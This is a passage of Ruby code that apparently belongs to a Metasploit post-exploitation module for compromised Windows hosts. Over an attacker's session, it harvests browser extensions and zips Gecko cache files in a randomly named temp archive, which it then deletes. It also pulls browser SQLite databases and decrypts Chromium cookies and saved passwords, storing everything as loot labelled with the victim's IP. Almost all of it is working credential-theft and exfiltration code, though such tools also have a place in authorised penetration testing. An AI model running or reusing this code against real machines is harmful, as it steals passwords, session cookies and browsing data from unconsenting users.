extensions << { 'name' => extension_name, 'version' => extension_version }
|
|
end
|
|
end
|
|
|
|
if extensions.any?
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")
|
|
|
|
print_good("└ Extensions extracted to #{file_name} (#{extensions.length} entries)")
|
|
else
|
|
vprint_error("└ No extensions found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def process_gecko_cache(profile_path, browser)
|
|
cache_dir = "#{profile_path.gsub('Roaming', 'Local')}\\cache2\\entries"
|
|
return unless directory?(cache_dir)
|
|
|
|
total_size = 0
|
|
file_count = 0
|
|
files_to_zip = []
|
|
|
|
session.fs.dir.foreach(cache_dir) do |file|
|
|
next if file == '.' || file == '..'
|
|
|
|
file_path = "#{cache_dir}\\#{file}"
|
|
|
|
if file?(file_path)
|
|
file_stat = session.fs.file.stat(file_path)
|
|
file_size = file_stat.stathash['st_size']
|
|
total_size += file_size
|
|
file_count += 1
|
|
files_to_zip << file_path
|
|
end
|
|
end
|
|
|
|
print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")
|
|
|
|
if file_count > 0
|
|
temp_dir = session.fs.file.expand_path('%TEMP%')
|
|
random_name = Rex::Text.rand_text_alpha(8)
|
|
zip_file_path = "#{temp_dir}\\#{random_name}.zip"
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
progress_interval = (file_count / 10.0).ceil
|
|
|
|
files_to_zip.each_with_index do |file, index|
|
|
file_content = read_file(file)
|
|
zip.add_file(file, file_content) if file_content
|
|
|
|
if (index + 1) % progress_interval == 0 || index == file_count - 1
|
|
progress_percent = ((index + 1) * 100 / file_count).to_i
|
|
print_status("└ Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
|
|
end
|
|
end
|
|
|
|
write_file(zip_file_path, zip.pack)
|
|
print_status("└ Cache for #{browser} zipped to: #{zip_file_path}")
|
|
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
cache_local_path = store_loot(
|
|
"#{browser_clean}_Cache",
|
|
'application/zip',
|
|
session,
|
|
read_file(zip_file_path),
|
|
"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
|
|
"#{browser_clean} Cache"
|
|
)
|
|
|
|
file_size = ::File.size(cache_local_path)
|
|
print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2
|
|
|
|
session.fs.file.rm(zip_file_path)
|
|
else
|
|
vprint_status("└ No Cache files found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def extract_sql_data(db_path, query, data_type, browser, encryption_key = nil)
|
|
if file?(db_path)
|
|
db_local_path = "#{Rex::Text.rand_text_alpha(8, 12)}.db"
|
|
session.fs.file.download_file(db_local_path, db_path)
|
|
|
|
begin
|
|
columns, *result = SQLite3::Database.open(db_local_path) do |db|
|
|
db.execute2(query)
|
|
end
|
|
|
|
if encryption_key
|
|
result.each do |row|
|
|
next unless row[-1]
|
|
|
|
if data_type == 'Cookies' && row[-1].length >= (IV_SIZE + TAG_SIZE + 3)
|
|
row[-1] = decrypt_chromium_password(row[-1], encryption_key)
|
|
elsif data_type == 'Passwords' && row[2].length >= (IV_SIZE + TAG_SIZE + 3)
|
|
row[2] = decrypt_chromium_password(row[2], encryption_key)
|
|
end
|
|
end
|
|
end
|
|
|
|
if result.any?
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
result = result.map { |row| columns.zip(row).to_h }
|
|
data = "#{JSON.pretty_generate(result)}\n"
|
|
file_name = store_loot("#{browser_clean}_#{data_type}", 'application/json', session, data, "#{timestamp}_#{ip}_#{browser_clean}_#{data_type}.json", "#{browser_clean} #{data_type.capitalize}")
|
|
|
|
print_good("└ #{data_type.capitalize} extracted to #{file_name} (#{result.length} entries)")
|
|
else
|
|
vprint_error("└ #{data_type.capitalize} empty")
|
|
end
|
|
ensure
|
|
::File.delete(db_local_path) if ::File.exist?(db_local_path)
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|